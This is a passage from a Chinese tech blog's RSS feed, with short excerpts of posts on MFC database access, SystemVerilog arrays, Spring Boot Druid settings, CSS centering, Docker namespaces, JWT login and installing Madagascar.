      <description>文章目录 可能可以参考的模板写法：使用字符频数数组，用加法：加法 `continue` 的写法；加法，不 `continue` 的写法； 加法，用哈希表数组，减法哈希表，用减法比较麻烦的加法： 可能可以参考的模板写法： public class Solution { public String minWindow(String s, String t) { // 起始的时候，都位于 0，同方向移动 int left = 0; int right = 0; // 根据题意设计状态变量 while (right &amp;lt; len) { // 在 right 右移的过程中维护状态变量的定义 if () { // 维护状态变量的定义 } // 右边界右移 1 格 right++; // 状态变量满足一定条件，窗口是一个可行解 while ( ) { // 在 left 右移的过程中维护状态变量的定义 if () { // 维护状态变量的定义 } // 左边界右移 1 格 left++; } } return 需要的结果变量; } } 使用字符频数数组，用加法： 加法 continue 的写法； public class Solution { public String minWindow(String s, String t) { int sLen = s.</description>
    </item>
    <item>
      <title>VS2015 MFC对access2010数据库的增删改查，子对话框修改，双击修改，combobox查询。</title>
      <link>https://bchobby.github.io/posts/b1f285ae8a89915511a1e413ec0bd24e/</link>
      <pubDate>Sat, 16 May 2020 17:10:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b1f285ae8a89915511a1e413ec0bd24e/</guid>
      <description>VS2015 MFC对access2010数据库的增删改查&#xA;特点：1，把access内容导入list control后，可以实现双击修改list control的同时，修改数据库，也可以通过子弹窗修改数据库&#xA;2，查询可以通过combo—box实现便捷查询&#xA;3，删除可以通过单击listcontrol中的任意一行实现删除，如果单击到空白处，会提示&#xA;首先准备vs2015与access2010；&#xA;先连接数据库：网上方法有很多，我的office是64位的，所以debug，x64。！！！！！！否则连不上，如果你的机子上是32位的office，那就x86。&#xA;下面展示 连接数据库的代码。&#xA;try { CoInitialize(NULL); m_pConnection = _ConnectionPtr(__uuidof(Connection)); m_pConnection-&amp;gt;ConnectionTimeout = 5; //设置超时时间为5秒 m_pConnection-&amp;gt;ConnectionString = &#34;Provider=Microsoft.ACE.OLEDB.12.0;Data Source=access.accdb;&#34;; m_pConnection-&amp;gt;Open(&#34;&#34;, &#34;&#34;, &#34;&#34;, adConnectUnspecified); /*_variant_t RecordsAffected; CString strSql; BSTR bstrSQL; strSql = _T(&#34;CREATE TABLE acces(ID INTEGER,图书编码 REAL,图书名称 REAL,图书作者 REAL,出版社名 REAL )&#34;);//INTEGER bstrSQL = strSql.AllocSysString(); m_pConnection-&amp;gt;Execute(bstrSQL, &amp;amp;RecordsAffected, adCmdText);*/ AfxMessageBox(_T(&#34;数据库连接成功&#34;)); } catch (_com_error e) { //m_pConnection-&amp;gt;ConnectionTimeout = 5; //设置超时时间为5秒 AfxMessageBox(_T(&#34;数据库连接失败！&#34;)); return FALSE; } 一定要分清数据库和表，我这里在工程目录下放置数据库，我的数据库名字是access，数据库可以有很多表，我这次操作的表名是acces，（少一个s）。当然你可以任意名字。&#xA;下面展示 创建list control表头的代码。</description>
    </item>
    <item>
      <title>如何写c&#43;&#43;简历</title>
      <link>https://bchobby.github.io/posts/0714b8d8da70cf1f3c8d636721579962/</link>
      <pubDate>Sat, 16 May 2020 16:26:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0714b8d8da70cf1f3c8d636721579962/</guid>
      <description> 目录&#xA;一、目的：&#xA;1、想知道如何写C/C++方面的简历&#xA;1、从别人简历哪里了解一下自己的不足&#xA;二、参考&#xA;1、c++软件工程师个人简历大全 1、转：C/C++程序员简历模板&#xA;1、C++工程师个人简历范文&#xA;三、简历模板：&#xA;1、&#xA;1、&#xA;一、目的： 1、想知道如何写C/C++方面的简历 1、从别人简历哪里了解一下自己的不足 二、参考 1、c++软件工程师个人简历大全 https://www.51test.net/show/3041489.html&#xA;①总结：good：了解了其实自己的C++项目经验及其不足，需要不断的提高，最好自己拿一些网上的案例进行练手，这样也是属于自己的项目经验中。&#xA;1、转：C/C++程序员简历模板 https://blog.csdn.net/weixin_33935505/article/details/93501497?utm_medium=distribute.pc_relevant.none-task-blog-baidujs_title-2&amp;amp;spm=1001.2101.3001.4242&#xA;总结：good，适合多看看；总结：FAT思想很是不错，Feature：是什么；Advantage：比别人好在哪些地方 ；Benefit：如果雇佣你，招聘方会得到什么好处总结：我喜欢记录分享博客，是个优势可以添加到简历当中 1、C++工程师个人简历范文 http://www.capabcv.com/resumecase/27689.html&#xA;总结：good，参考参考 三、简历模板： 1、 https://www.job592.com/doc/job1897.html&#xA;直接下载，无需注册 1、 https://www.100chui.com/resume/detail-1264/&#xA;要注册 </description>
    </item>
    <item>
      <title>[SV]SystemVerilog二維數組的初始化和約束</title>
      <link>https://bchobby.github.io/posts/e705861795bd876b6e679de80d1cab08/</link>
      <pubDate>Sat, 16 May 2020 14:01:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e705861795bd876b6e679de80d1cab08/</guid>
      <description>SystemVerilog 2d array initialization &amp;amp; randomize 前言：二维数组是数组的数组。二维数组被组织成矩阵，矩阵可以表示为行和列的集合。&#xA;一、SystemVerilog二維數組語法 1.1、SystemVerilog二維數組聲明 data_type array_name [rows][columns]; int array [2:0][3:0]; 二维数组中的数据以表格形式存储，如下图所示。 1.2、SystemVerilog二維數組初始化 array = &#39;{ &#39;{0,1,2,3}, &#39;{4,5,6,7}, &#39;{8,9,10,11}}; 1.3、SystemVerilog二維數組實例 module two_d_array; //declaration of array’s int array[2:0][3:0]; //2 dimension array initial begin //array initialization array = &#39;{&#39;{0,1,2,3},&#39;{4,5,6,7},&#39;{8,9,10,11}}; //displaying array elements $display(&#34;-------displaying 2d array-------&#34;); foreach(array[i,j]) $display(&#34;\t array[%0d][%0d] = %0d&#34;,i,j,array[i][j]); end endmodule Simulation Output -------displaying 2d array------- array3[2][3] = 0 array3[2][2] = 1 array3[2][1] = 2 array3[2][0] = 3 array3[1][3] = 4 array3[1][2] = 5 array3[1][1] = 6 array3[1][0] = 7 array3[0][3] = 8 array3[0][2] = 9 array3[0][1] = 10 array3[0][0] = 11 二、SystemVerilog --- Solving Sudoku 在SystemVerilog中解决数独问题只不过是指定带有约束的规则。有五个限制条件。</description>
    </item>
    <item>
      <title>解决springboot项目无法关闭druid连接池监控功能</title>
      <link>https://bchobby.github.io/posts/db69a53fd01a0ec60a149e2777a6c5a8/</link>
      <pubDate>Fri, 15 May 2020 18:15:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/db69a53fd01a0ec60a149e2777a6c5a8/</guid>
      <description> 解决springboot项目无法关闭druid连接池监控功能 仅仅注释掉ServletRegistrationBean这个Bean并不能关闭druid连接池监控，因为druid-spring-boot-starter这个starter默认开启了druid监控，自己写的配置类可以生效，自己不写配置类会用默认配置，所以要想完全关闭druid连接池监控，&#xA;第一：注释掉ServletRegistrationBean这个Bean；&#xA;第二：application.yml中加&#xA;spring: datasource: druid: filter: config: enabled: false stat-view-servlet: enabled: false web-stat-filter: enabled: false </description>
    </item>
    <item>
      <title>css 居中问题的总结</title>
      <link>https://bchobby.github.io/posts/41666af588d5b19c7edb50fa8db92abf/</link>
      <pubDate>Fri, 15 May 2020 17:27:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/41666af588d5b19c7edb50fa8db92abf/</guid>
      <description>1.css让浮动的盒子水平居中 解决方法：&#xA;给浮动的盒子加一个父盒子，设置宽度跟浮动盒子一样大小，并且overflow:hidden; 设置该盒子为margin: 0 auto; &amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;title&amp;gt;&amp;lt;/title&amp;gt; &amp;lt;style&amp;gt; *{ padding: 0; margin: 0; } .box{ width: 400px; height: 300px; background-color: red; } .main{ width: 100px; overflow: hidden; margin: 0 auto; } .child{ width: 100px; height: 100px; background-color: green; margin: 0 auto; float: left; } &amp;lt;/style&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;div class=&#34;box&#34;&amp;gt; &amp;lt;div class=&#34;main&#34;&amp;gt; &amp;lt;div class=&#34;child&#34;&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;/html&amp;gt; 2.CSS背景颜色 背景图片 居中 重复 固定样式background经验篇 background:url(.</description>
    </item>
    <item>
      <title>WebBrowser控件自动点击网页中的SPAN标签</title>
      <link>https://bchobby.github.io/posts/b06efefaf55f1938be647d3734937c5b/</link>
      <pubDate>Fri, 15 May 2020 12:30:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b06efefaf55f1938be647d3734937c5b/</guid>
      <description>SPAN标签： &amp;lt;SPAN title=用户信息 class=tabSpan id=shop_tabsTAB_content4 style=&#34;BORDER-LEFT-WIDTH: 1px; HEIGHT: 23px; BORDER-RIGHT-WIDTH: 1px; BORDER-BOTTOM-WIDTH: 1px; PADDING-LEFT: 6px; PADDING-RIGHT: 6px; BORDER-TOP-WIDTH: 1px; MARGIN-RIGHT: 2px&#34; name=&#34;shop_tabstabs4&#34; jQuery227=&#34;2564&#34;&amp;gt;&amp;lt;SPAN class=selected_left&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;SPAN class=selected_right&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;SPAN style=&#34;OVERFLOW: hidden; DISPLAY: block&#34;&amp;gt;用户信息&amp;lt;/SPAN&amp;gt;&amp;lt;SPAN class=tabs-closePic style=&#34;DISPLAY: none&#34; jQuery227=&#34;2568&#34;&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;/SPAN&amp;gt; 用自编函数找到上面的网页元素，并发送点击代码：&#xA;bb = FindHtmlElement(&#34;用户信息&#34;, WebBrowserEx1.Document, &#34;SPAN&#34;, &#34;title&#34;, True) bb.InvokeMember(&#34;click&#34;) &#39;点击无效 bb.RaiseEvent(&#34;onclick&#34;) &#39;点击无效 bb.InvokeMember(&#34;MouseDown&#34;) &#39;点击无效 bb.InvokeMember(&#34;onMouseDown&#34;) &#39;点击无效，InvokeMember不检查调用成员（onMouseDown）是否有效 bb.RaiseEvent(&#34;onMouseDown&#34;) &#39;点击生效，参数不分大小写。RaiseEvent会检查，错误则报：值不在预期的范围内 bb.RaiseEvent(&#34;onMouseUp&#34;) &#39;该行代码可以不需要 以前一直走入了一个误区，以为点击就是一定是click动作，网上找的也都是如何如何clcik span标签没响应，殊不知，只需要简单的一个RaiseEvent(&#34;onMouseDown&#34;)就解决问题。&#xA;注：&#xA;RaiseEvent的参数不对，例如你做引用：RaiseEvent(&#34;click&#34;)，则报错如下：&#xA;************** 异常文本 **************&#xA;System.ArgumentException: 值不在预期的范围内。&#xA;在 System.Windows.Forms.UnsafeNativeMethods.IHTMLElement3.FireEvent(String bstrEventName, IntPtr pvarEventObject)&#xA;在 System.Windows.Forms.HtmlElement.RaiseEvent(String eventName)</description>
    </item>
    <item>
      <title>深入理解docker容器 (1)</title>
      <link>https://bchobby.github.io/posts/c27cc8eba81eb667e2ec0e289a02ad76/</link>
      <pubDate>Fri, 15 May 2020 12:01:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c27cc8eba81eb667e2ec0e289a02ad76/</guid>
      <description>一个程序运行起来后的计算机执行环境的总和，就是我们今天的主角：进程。一个在运行的Docker镜像，其实也是一个进程，下面请听我细细道来。&#xA;我们都知道，容器是一个类似&#34;沙盒&#34;的存在，我们的应用可以放到里面，一个系统启动多个&#34;沙盒&#34;，但是它怎么样实现&#34;沙盒&#34;这个功能的呢？&#xA;好了不卖关子&#xA;这个沙盒就是通过约束和修改进程的动态表现，从而为其创造出一个“边界”。&#xA;对于 Docker 等大多数 Linux 容器来说，Cgroups 技术是用来制造约束的主要手段，而 Namespace 技术则是用来修改进程视图的主要方法。&#xA;我们先来说说Namespace到底是个什么鬼！&#xA;我们先启动一个容器Ubuntu；&#xA;&amp;gt;$ docker run -it busybox /bin/sh / # 在里面执行ps，你会发现神奇的事情；&#xA;/ # ps PID USER TIME COMMAND 1 root 0:00 /bin/sh 10 root 0:00 ps 我们会发/bin/sh 的进程号 PID = 1 在linux中，1号进程是系统刚启动时创建的进程，负责从创建其它子进程。&#xA;这就意味着，前面执行的 /bin/sh，以及我们刚刚执行的 ps，已经被 Docker 隔离在了一个跟宿主机完全不同的&#34;世界&#34;当中。&#xA;这究竟是怎么做到的呢？&#xA;其实你退出系统来看会发现我们所启动的这个docker镜像就是一个进程，比如它的PID=100。但是为什么在容器中就是1呢？&#xA;这时候我们的Namespace就起到作用了。&#xA;它其实只是 Linux 创建新进程的一个可选参数。我们知道，在 Linux 系统中创建线程的系统调用是 clone()，比如：&#xA;int pid = clone(main_function, stack_size, SIGCHLD, NULL); 而当我们用 clone() 系统调用创建一个新进程时，就可以在参数中指定 CLONE_NEWPID 参数，比如：</description>
    </item>
    <item>
      <title>计算机考研复试之C语言简答题 开放题目</title>
      <link>https://bchobby.github.io/posts/45590434ff536a5cfe7d3206da9b0898/</link>
      <pubDate>Fri, 15 May 2020 11:10:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/45590434ff536a5cfe7d3206da9b0898/</guid>
      <description>为考研准备整理，参考网络资料课本资料，主要是c的简答开放题目有用的话可以点个赞，可以看着目录尝试自己回答后在进行往下看 目录&#xA;特点&#xA;c 语言的主要用途：&#xA;c语言为什么要规定，对所有使用的变量要“先定义，后使用”？&#xA;为什么使用符号常量&#xA;写出一个程序的组成&#xA;内存分配方式有三种：&#xA;c语言中变量的存储类别&#xA;strlen与sizeof的区别：&#xA;C 语言以函数为程序的基本单位，有什么好处？&#xA;关键字和一般标识符有什么不同？&#xA;循环相关&#xA;字符数组与字符串是否相同？若不相同，有何区别？&#xA;函数的嵌套调用与递归调用有什么区别？&#xA;结构体类型与我们前面学过的基本类型有哪些区别？&#xA;指针与地址有什么联系？在使用指针的过程中应注意哪些细节？指针类型对于程序设计有哪些意义？&#xA;指针和引用&#xA;描述一下gcc的编译过程？&#xA;c的执行过程&#xA;变量的声明与定义有什么区别&#xA;C语言中进行函数声明的作用是什么？&#xA;简述C语言的隐式类型转换发生的四种情况。&#xA;&amp;amp;&amp;amp;和&amp;amp;、||和|有什么区别？&#xA;typedef 和 define 有什么区别&#xA;请说出const与#define 相比，有何优点？&#xA;#include 与 #include “file.h”的区别？&#xA;用两个栈实现一个队列的功能？要求给出算法和思路！&#xA;特点 简洁紧凑、灵活方便；运算符丰富；数据结构丰富&#xA;C是结构式语言；C语法限制不太严格、程序设计自由度大&#xA;C语言允许直接访问物理地址，可以直接对硬件进行操作；C语言程序生成代码质量高，程序执行效率高&#xA;C语言适用范围大，可移植性好；具有预处理功能；具有递归功能&#xA;c语言具有绘图能力和强大的数据处理能力，它是数值计算的高级语言&#xA;c 语言的主要用途： C语言可以用来开发许多系统软件和大型应用软件。如UNIX，LINUX等操作系统。 在软件需要对硬件进行操作的场合，用C语言明显优于其它高级语言。例如，各种硬件设备的驱动程序（象显卡驱动程序、打印机驱动程序等）一般都是用C语言编写的。 在图形、图像及动画处理方面，C语言具有绝对优势，特别是游戏软件的开发主要就是使用C语言。 随着计算机网络飞速发展，特别是Internet的出现，计算机通信就显得尤其重要，而通信程序的编制首选就是C语言。 C语言适用于多种操作系统，象WINDOWS、UNIX、LINUX等绝大多数操作系统都支持C语言，其它高级语言未必能得到支持，所以在某个特定操作系统下运行的软件用C语言编制是最佳选择。&#xA;c语言为什么要规定，对所有使用的变量要“先定义，后使用”？ 程序中使用的各种变量都应预先加以说明，即先说明，后使用。对变量的说明可以包括三个方面：?数据类型?存储类型?作用域&#xA;数据类型决定数据所占内存字节数，数值取值范围，在其上可进行的操作。&#xA;对变量先定义后使用的目的是：&#xA;1）凡是未被事先定义的不做为变量名，这就能保证程序中变量名使用得正确，便于编译时发现错误，避免变量名使用时出错。&#xA;2）每个变量被指定一确定类型，在编译时就能为其分配相应的存储单元。&#xA;3）指定每一个变量属于一个类型，便于在编译时据此检查该变量所进行的运算是否合法。&#xA;为什么使用符号常量 1）简化书写格式、减少出错率。&#xA;2）定义符号常量可以提高程序的可读性，便于程序的调试和修改。&#xA;3）符号常量不同于变量，在其作用域内不能被改变和重新赋值。&#xA;4）习惯上人们把符号常量名用大写字母表示，变量用小写，以示区别&#xA;写出一个程序的组成 程序名、预编译指令、标准的输入输出、c语言的主函数、函数开始标志、定义变量、给变量赋值、输出结果、程序正常结束、函数结束标志&#xA;内存分配方式有三种： 1、从静态存储区域分配。内存在程序编译的时候就已经分配好，这块内存在程序的整个运行期间都存在。例如全局变量，static变量。 2、在栈上创建。在执行函数时，函数内局部变量的存储单元都可以在栈上创建，函数执行结束时这些存储单元自动被释放。栈内存分配运算内置于处理器的指令集中，效率很高，但是分配的内存容量有限。 3、从堆上分配，亦称动态内存分配。程序在运行的时候用malloc或new申请任意多少的内存，程序员自己负责在何时用free或delete释放内存。动态内存的生存期由程序员决定，使用非常灵活，但如果在堆上分配了空间，就有责任回收它，否则运行的程序会出现内存泄漏，频繁地分配和释放不同大小的堆空间将会产生堆内碎块&#xA;c语言中变量的存储类别 变量的存储类别为两大类，静态存储和动态存储 具体有自动auto，寄存器register和静态static和外部extern 局部缺省为auto变量</description>
    </item>
    <item>
      <title>微信小程序：使用VantUI组件库</title>
      <link>https://bchobby.github.io/posts/ef29488790f6ca1579c85d9844acff05/</link>
      <pubDate>Fri, 15 May 2020 07:44:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ef29488790f6ca1579c85d9844acff05/</guid>
      <description>微信小程序可以支持npm导入第三方库了（https://developers.weixin.qq…）;VantUI是一个不错的移动UI组件库，下面我们在微信小程序中引入&#xA;第一步：&#xA;在小程序工程的根目录下执行：&#xA;npm init -y //初始化 npm i vant-weapp -S --production 第二步：&#xA;保证当前你的微信开发者工具是最新版本，然后点击执行“构建npm“&#xA;构建成功后会提示：&#xA;同时项目根目录中会多出一个目录“miniprogram_npm”，这个就是小程序可以识别的npm第三方库。&#xA;第三步：&#xA;这时候当我们需要在一个页面中调用vant组件，那么就要在对应的页面json中添加类似如下配置：&#xA;{ &#34;usingComponents&#34;:{ &#34;van-button&#34;:&#34;/miniprogram_npm/vant-weapp/button/index&#34; } } 接着你就可以在wxml中直接调用这个ui组件了。&#xA;注意，对于vant库来说其实你并不需要在页面对应的js中import vant-weapp组件。</description>
    </item>
    <item>
      <title>手把手教你，使用JWT实现单点登录</title>
      <link>https://bchobby.github.io/posts/cbe75a419c4cacba3959092d3992b1c5/</link>
      <pubDate>Fri, 15 May 2020 07:30:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cbe75a419c4cacba3959092d3992b1c5/</guid>
      <description>每天早上七点三十，准时推送干货&#xA;JSON Web Token（JWT）是目前最流行的跨域身份验证解决方案之一，今天我们一起来揭开它神秘的面纱！&#xA;一、故事起源 说起 JWT，我们先来谈一谈基于传统session认证的方案以及瓶颈。&#xA;传统session交互流程，如下图：&#xA;当浏览器向服务器发送登录请求时，验证通过之后，会将用户信息存入seesion中，然后服务器会生成一个sessionId放入cookie中，随后返回给浏览器。&#xA;当浏览器再次发送请求时，会在请求头部的cookie中放入sessionId，将请求数据一并发送给服务器。&#xA;服务器就可以再次从seesion获取用户信息，整个流程完毕！&#xA;通常在服务端会设置seesion的时长，例如 30 分钟没有活动，会将已经存放的用户信息从seesion中移除。&#xA;session.setMaxInactiveInterval(30 * 60);//30分钟没活动，自动移除 同时，在服务端也可以通过seesion来判断当前用户是否已经登录，如果为空表示没有登录，直接跳转到登录页面；如果不为空，可以从session中获取用户信息即可进行后续操作。&#xA;在单体应用中，这样的交互方式，是没啥问题的。&#xA;但是，假如应用服务器的请求量变得很大，而单台服务器能支撑的请求量是有限的，这个时候就容易出现请求变慢或者OOM。&#xA;解决的办法，要么给单台服务器增加配置，要么增加新的服务器，通过负载均衡来满足业务的需求。&#xA;如果是给单台服务器增加配置，请求量继续变大，依然无法支撑业务处理。&#xA;显而易见，增加新的服务器，可以实现无限的水平扩展。&#xA;但是增加新的服务器之后，不同的服务器之间的sessionId是不一样的，可能在A服务器上已经登录成功了，能从服务器的session中获取用户信息，但是在B服务器上却查不到session信息，此时肯定无比的尴尬，只好退出来继续登录，结果A服务器中的session因为超时失效，登录之后又被强制退出来要求重新登录，想想都挺尴尬～～&#xA;面对这种情况，几位大佬于是合起来商议，想出了一个token方案。&#xA;将各个应用程序与内存数据库redis相连，对登录成功的用户信息进行一定的算法加密，生成的ID被称为token，将token还有用户的信息存入redis；等用户再次发起请求的时候，将token还有请求数据一并发送给服务器，服务端验证token是否存在redis中，如果存在，表示验证通过，如果不存在，告诉浏览器跳转到登录页面，流程结束。&#xA;token方案保证了服务的无状态，所有的信息都是存在分布式缓存中。基于分布式存储，这样可以水平扩展来支持高并发。&#xA;当然，现在springboot还提供了session共享方案，类似token方案将session存入到redis中，在集群环境下实现一次登录之后，每个服务器都可以获取到用户信息。&#xA;二、JWT是什么 上文中，我们谈到的session还有token的方案，在集群环境下，他们都是靠第三方缓存数据库redis来实现数据的共享。&#xA;那有没有一种方案，不用缓存数据库redis来实现用户信息的共享，以达到一次登录，处处可见的效果呢？&#xA;答案肯定是有的，就是我们今天要介绍的JWT！&#xA;JWT全称JSON Web Token，实现过程简单的说就是用户登录成功之后，将用户的信息进行加密，然后生成一个token返回给客户端，与传统的session交互没太大区别。&#xA;交互流程如下：&#xA;唯一的不同点就是：token存放了用户的基本信息，更直观一点就是将原本放入redis中的用户数据，放入到token中去了！&#xA;这样一来，客户端、服务端都可以从token中获取用户的基本信息，既然客户端可以获取，肯定是不能存放敏感信息的，因为浏览器可以直接从token获取用户信息。&#xA;JWT具体长什么样呢？ JWT是由三段信息构成的，将这三段信息文本用.链接一起就构成了JWT字符串。就像这样:&#xA;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ 第一部分：我们称它为头部（header），用于存放token类型和加密协议，一般都是固定的；&#xA;第二部分：我们称其为载荷（payload），用户数据就存放在里面；&#xA;第三部分：是签证（signature），主要用于服务端的验证；&#xA;1、header JWT的头部承载两部分信息：&#xA;声明类型，这里是JWT；&#xA;声明加密的算法，通常直接使用 HMAC SHA256；&#xA;完整的头部就像下面这样的JSON：&#xA;{ &#39;typ&#39;: &#39;JWT&#39;, &#39;alg&#39;: &#39;HS256&#39; } 使用base64加密，构成了第一部分。&#xA;eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9 2、playload 载荷就是存放有效信息的地方，这些有效信息包含三个部分：&#xA;标准中注册的声明；&#xA;公共的声明；&#xA;私有的声明；&#xA;其中，标准中注册的声明 (建议但不强制使用)包括如下几个部分 ：&#xA;iss: jwt签发者；</description>
    </item>
    <item>
      <title>HTTP学习(3)--解析报文</title>
      <link>https://bchobby.github.io/posts/a6d696e408215a81220ef4cdb6e40146/</link>
      <pubDate>Thu, 14 May 2020 22:11:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a6d696e408215a81220ef4cdb6e40146/</guid>
      <description>上一篇博客介绍了，如何简单的组装报文，现在来处理比较麻烦的另一部分了–解析报文。组装报文实际上是偷了一个懒，把解析工作交给了浏览器。但是，如果直接解析一下实际的报文的话，还是会对报文的结构认识更加深刻一些，下面就来开始吧！&#xA;HTTP学习(2)–组装报文&#xA;解析报文 模拟报文 我们根据前面博客知道了报文的具体结构，下面就来解析报文，可是哪里来的报文呢？相信，虽然每天都在经历各种报文的传递，但是真正见到过报文的人还是不多吧。让我们来想象一下，报文从产生到传递给客户（或者服务器）被消费掉，其实时间是很短的。所以说，一个报文存在的时间极短，可以报文说就是朝生夕死。这里我们先来提供一个简单的模拟报文，存放在一个文件里面（把流动的报文固定住），这样处理起来比较方便。如果解析成功了，我们再去处理实际的报文。相当于，开发过程中，先使用模拟的数据，等开发完成了，再使用真实的数据。&#xA;模拟请求报文&#xA;Host: localhost:8080 Content-Type: image/jpeg Content-Length: 112008 如果只是这样看的话，其实是缺少了很多必要的信息的，比如不可见的回车换行符 CRLF。所以我们换一个方式来查看模拟的报文：&#xA;这样是不是就非常清晰了，模拟的报文头部每一行包括一个首部字段信息和CRLF，最后还有一个CRLF（这里把它作为结束读取请求头的标识），后面的就是报文体的部分了，这里只考虑报文头部分。因为只要获取了头部，那么剩下的也就见到那了。（对于GET方式，是没有报文体的！）&#xA;首先是构造一个模拟的报文头部 这里就是向文件写入头部的信息，构造一个包含简单报文头的文件。&#xA;//构造一个简易的 报文头部，比较简陋，但是应该是可以满足学习条件了。 static void createMessage(File file) { try (BufferedOutputStream out = new BufferedOutputStream(new FileOutputStream(file))) { out.write(&#34;Host: localhost:8080\r\n&#34;.getBytes(Charset.forName(&#34;UTF-8&#34;))); out.write(&#34;Content-Type: image/jpeg\r\n&#34;.getBytes(Charset.forName(&#34;UTF-8&#34;))); out.write(&#34;Content-Length: 112008\r\n&#34;.getBytes(Charset.forName(&#34;UTF-8&#34;))); out.write(&#34;\r\n&#34;.getBytes(Charset.forName(&#34;UTF-8&#34;))); } catch (FileNotFoundException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } } 解析报文头部 static void resolve(File file) { try (BufferedInputStream in = new BufferedInputStream(new FileInputStream(file))) { /** * 当取出来的行为空时，意味着已经取出了所有的头部。 * 下面就是数据部分了（这里考虑的是简单的报文，非Multip-part类型的报文） * */ String header = null; do { header = getHeader(in); //每次取一行，即一个首部字段 if (&#34;</description>
    </item>
    <item>
      <title>C#中正确读取二维数组的各种长度</title>
      <link>https://bchobby.github.io/posts/bb2936835b2d189040922a07f208134e/</link>
      <pubDate>Thu, 14 May 2020 18:28:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bb2936835b2d189040922a07f208134e/</guid>
      <description>看了网上一些文章，自己写了写没想到大多是都是错的23333&#xA;自己重新整理下&#xA;int row = array.Rank;//获取维数，维数！返回的是一维二维即1或2&#xA;int col = array.GetLength(0);&#xA;//获取指定维度中的元素个数，这里也就是列数了。（0是第一维，1表示的是第二维）&#xA;//也就是参数为0时返回是列数&#xA;//参数1时返回的是行数&#xA;int col = array.GetUpperBound(0)+1;&#xA;//获取指定维度的索引上限，在加上一个1就是总数，这里表示二维数组的列数&#xA;int num = array.Length;//获取整个二维数组的长度，即所有元的个数&#xA;//也可以运用length来除以列数或者行数来得到另外一个数据</description>
    </item>
    <item>
      <title>地震处理软件Madagascar安装</title>
      <link>https://bchobby.github.io/posts/cc03487d808127a794d9c3274a9efde8/</link>
      <pubDate>Thu, 14 May 2020 12:20:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cc03487d808127a794d9c3274a9efde8/</guid>
      <description>安装系统：Ubunut 18.04 LTS&#xA;网上有很多安装教程，但是都比较老了，用的Ubuntu 10, 14的系统，svn指向的链接也已经失效了。&#xA;安装包下载&#xA;A方法&#xA;下载压缩包 https://sourceforge.net/projects/rsf/files/ 2020年5月下载的是Madagascar 3.0.1，看有的教程说，这个链接下载的不是最新的，但是先凑合用吧。附加一个百度网盘下载链接，以防后面这个链接失效或者版本不对https://pan.baidu.com/s/1gWVMCcH69HhxkcDJ8D8CDg&#xA;提取码：zsnf&#xA;下载后放至 /home/hhh/rsf/文件夹下，作为存放源代码的文件夹&#xA;在该文件下运行tar -xvf madagascar-3.0.1.tar.gz 解压缩后，进入解压出的madagascar-3.0文件夹&#xA;B方法&#xA;网上还有一种是svn 下载&#xA;运行 svn co https://github.com/ahay/src/trunk /home/hhh/rsf&#xA;备注：&#xA;（1）很多老教程用的https://rsf.svn.sourceforge.net/svnroot/rsf/trunk的链接已经失效了。&#xA;（2）这里是用的GitHub的地址，但是没有用git 去clone代码，因为前人教程上说svn更新比较方便，可以直接运行svn update下载更新，再用scons install -k 安装更新。但是我的网速比较慢，没有用这种方法。安装依赖&#xA;Ubuntu 18.04安装以下依赖，其他版本参考http://www.ahay.org/wiki/Advanced_Installation#Ubuntu sudo apt install libxaw7-dev freeglut3-dev libnetpbm10-dev libgd-dev libplplot-dev libavcodec-dev libcairo2-dev libjpeg-dev swig python-dev python-numpy g++ gfortran libopenmpi-dev libfftw3-dev libsuitesparse-dev python-epydoc scons git emacs25 编译与安装 cd /home/hhh/rsf/madagascar-3.0/ ./configure --prefix=/home/hhh/Software/RSFROOT ./configure API=c++,f90--prefix=/home/hhh/Software/RSFROOT #建立c++，fortran90等的链接，前提是这些选项已经存在在你的系统中并且可用 sudo make sudo make install #scon install -k 修改环境变量 echo &#34;</description>
    </item>
    <item>
      <title>P4.批量创建、复制、移动、删除、重命名文件及文件夹</title>
      <link>https://bchobby.github.io/posts/6fb34b4b3fb0e6f0cc4815c155141c11/</link>
      <pubDate>Thu, 14 May 2020 09:07:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6fb34b4b3fb0e6f0cc4815c155141c11/</guid>
